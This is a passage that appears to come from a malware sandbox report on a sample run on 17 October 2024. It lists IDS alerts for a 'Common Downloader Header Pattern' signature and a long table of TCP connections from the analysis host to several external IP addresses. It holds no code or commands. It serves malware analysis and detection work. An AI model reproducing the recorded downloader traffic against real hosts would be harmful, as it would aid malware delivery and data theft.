2024-10-17T09:44:50.953371+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49776	193.122.130.0	80	TCP
2024-10-17T09:44:51.672838+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49777	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 09:44:41.258191109 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:41.263148069 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:41.263237000 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:41.263462067 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:41.268224001 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:41.933653116 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:41.942300081 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:41.947067976 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:42.101335049 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:42.156481981 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:42.168595076 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.168628931 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:42.168816090 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.180532932 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.180548906 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:42.794625044 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:42.794744968 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.799406052 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.799424887 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:42.799899101 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:42.843991041 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.877314091 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:42.919413090 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.014651060 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.014764071 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.014915943 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.040291071 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.259685993 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:43.265156984 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:43.421777010 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:43.424310923 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.424345016 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.424417973 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.424820900 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.424834967 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.436011076 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.448786020 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.448812962 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.449001074 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.449254036 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.449269056 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.460860968 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.468987942 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:43.473447084 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:43.478300095 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:43.640470028 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:43.642431021 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.642468929 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.642548084 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.643079996 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:43.643090010 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:43.687731981 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.252046108 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.252130032 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:44.254122972 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:44.254129887 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.254410028 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.255839109 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:44.303414106 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.393215895 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.393318892 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:44.393373013 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:44.393934965 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:44.399807930 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.401170969 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.405854940 CEST	80	49739	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.405971050 CEST	49739	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.406223059 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.406297922 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.406837940 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.411432981 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.411508083 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.411669970 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.411763906 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.412013054 CEST	49747	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.416460037 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.416516066 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.416774988 CEST	80	49747	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.416836023 CEST	49747	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.416907072 CEST	49747	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.421787977 CEST	80	49747	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.422102928 CEST	80	49747	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.431045055 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.435920954 CEST	80	49748	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:44.435990095 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.436109066 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:44.440903902 CEST	80	49748	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.108935118 CEST	80	49748	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.110831022 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.110882998 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.111248016 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.111824989 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.111840010 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.160535097 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.179936886 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.184740067 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.185509920 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.185509920 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.190587044 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.723381042 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.725452900 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.725476027 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.848067045 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.853065014 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.857961893 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.872292042 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.872411966 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:45.872481108 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.873028994 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:45.877505064 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.879239082 CEST	49751	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.883124113 CEST	80	49748	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.883476019 CEST	49748	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.884078026 CEST	80	49751	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.885001898 CEST	49751	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.885001898 CEST	49751	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.889920950 CEST	80	49751	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.890306950 CEST	80	49751	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.891197920 CEST	49752	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.896111012 CEST	80	49752	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.896193981 CEST	49752	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.896285057 CEST	49752	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.901109934 CEST	80	49752	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.902955055 CEST	80	49752	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.908272982 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.913152933 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.913223982 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.913324118 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.918112040 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.918358088 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.918987989 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.923827887 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.923897982 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.923994064 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.928869963 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.929025888 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.932791948 CEST	49755	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.940920115 CEST	80	49755	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.940989017 CEST	49755	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.941097021 CEST	49755	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.945895910 CEST	80	49755	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.946317911 CEST	80	49755	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.947094917 CEST	49756	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.952033043 CEST	80	49756	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.952097893 CEST	49756	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.952192068 CEST	49756	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.957505941 CEST	80	49756	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.957869053 CEST	80	49756	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.961611032 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.967601061 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.967672110 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.967854023 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.972819090 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.973360062 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.975718021 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.981053114 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.981125116 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.981415987 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:45.986327887 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:45.986507893 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:46.012114048 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:46.024321079 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.024350882 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.024626970 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.025353909 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.025371075 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.062834978 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:46.105798006 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.105834007 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.105921030 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.114033937 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.114056110 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.721648932 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.721735001 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.723401070 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.723411083 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.723839998 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.765886068 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.796534061 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.843405008 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.871345043 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.871421099 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.874133110 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.874146938 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.874453068 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.876219988 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:46.923404932 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:46.931680918 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.931771040 CEST	443	49760	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:46.931832075 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.935471058 CEST	49760	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:46.939168930 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:46.944078922 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:47.101924896 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:47.104226112 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.104273081 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.104371071 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.104846001 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.104867935 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.113048077 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:47.113126040 CEST	443	49759	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:47.113214016 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:47.115742922 CEST	49759	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:47.156549931 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.743443012 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.745614052 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.745636940 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.884732962 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.884826899 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:47.885268927 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.885742903 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:47.890045881 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.891664982 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.895293951 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:47.896405935 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.896485090 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:47.900268078 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.900388002 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:47.905133963 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.560842991 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.563282013 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.563311100 CEST	443	49763	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.563368082 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.563853979 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.563869953 CEST	443	49763	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.592446089 CEST	443	49763	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.592523098 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.606724977 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.647648096 CEST	49763	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.647675991 CEST	443	49763	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.650079012 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.650118113 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.650182962 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.650938034 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:48.650949955 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.662790060 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:48.668375015 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.669409037 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.673511982 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.673578024 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.674253941 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.674312115 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.674422979 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.679171085 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.679595947 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.682012081 CEST	49766	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.687108040 CEST	80	49766	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.687167883 CEST	49766	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.687974930 CEST	49766	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.692322016 CEST	80	49766	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.692377090 CEST	49766	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.692456961 CEST	49766	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.694958925 CEST	80	49766	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.696412086 CEST	49767	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.697272062 CEST	80	49766	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.697488070 CEST	80	49766	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.701282024 CEST	80	49767	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.701350927 CEST	49767	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.701416016 CEST	49767	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.706279039 CEST	80	49767	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.706448078 CEST	80	49767	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.707413912 CEST	49768	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.712272882 CEST	80	49768	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.712346077 CEST	49768	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.712449074 CEST	49768	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.717179060 CEST	80	49768	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.717408895 CEST	80	49768	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.722894907 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.727878094 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.727941990 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.728034019 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.732784033 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.739737988 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.740816116 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.747802019 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.747881889 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.753704071 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.753752947 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.768398046 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.768714905 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.773200989 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.774547100 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.777575970 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.782448053 CEST	80	49771	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:48.782510996 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.782608032 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:48.787377119 CEST	80	49771	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:49.437829971 CEST	80	49771	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:49.439701080 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:49.439727068 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:49.439897060 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:49.440148115 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:49.440169096 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:49.484839916 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.045763969 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.045886993 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.047674894 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.047687054 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.047971964 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.049886942 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.095412970 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.190053940 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.190157890 CEST	443	49772	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.190561056 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.192364931 CEST	49772	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.194386005 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.195765018 CEST	49774	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.199522018 CEST	80	49771	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.199654102 CEST	49771	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.201055050 CEST	80	49774	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.201148987 CEST	49774	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.204370022 CEST	49774	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.206306934 CEST	80	49774	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.206434965 CEST	49774	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.206434965 CEST	49774	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.207030058 CEST	49775	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.209170103 CEST	80	49774	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.211301088 CEST	80	49774	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.211339951 CEST	80	49774	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.211937904 CEST	80	49775	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.212021112 CEST	49775	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.212238073 CEST	49775	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.217242002 CEST	80	49775	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.217695951 CEST	80	49775	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.220786095 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.225624084 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.225743055 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.227319002 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:50.232095003 CEST	80	49776	193.122.130.0	192.168.2.4
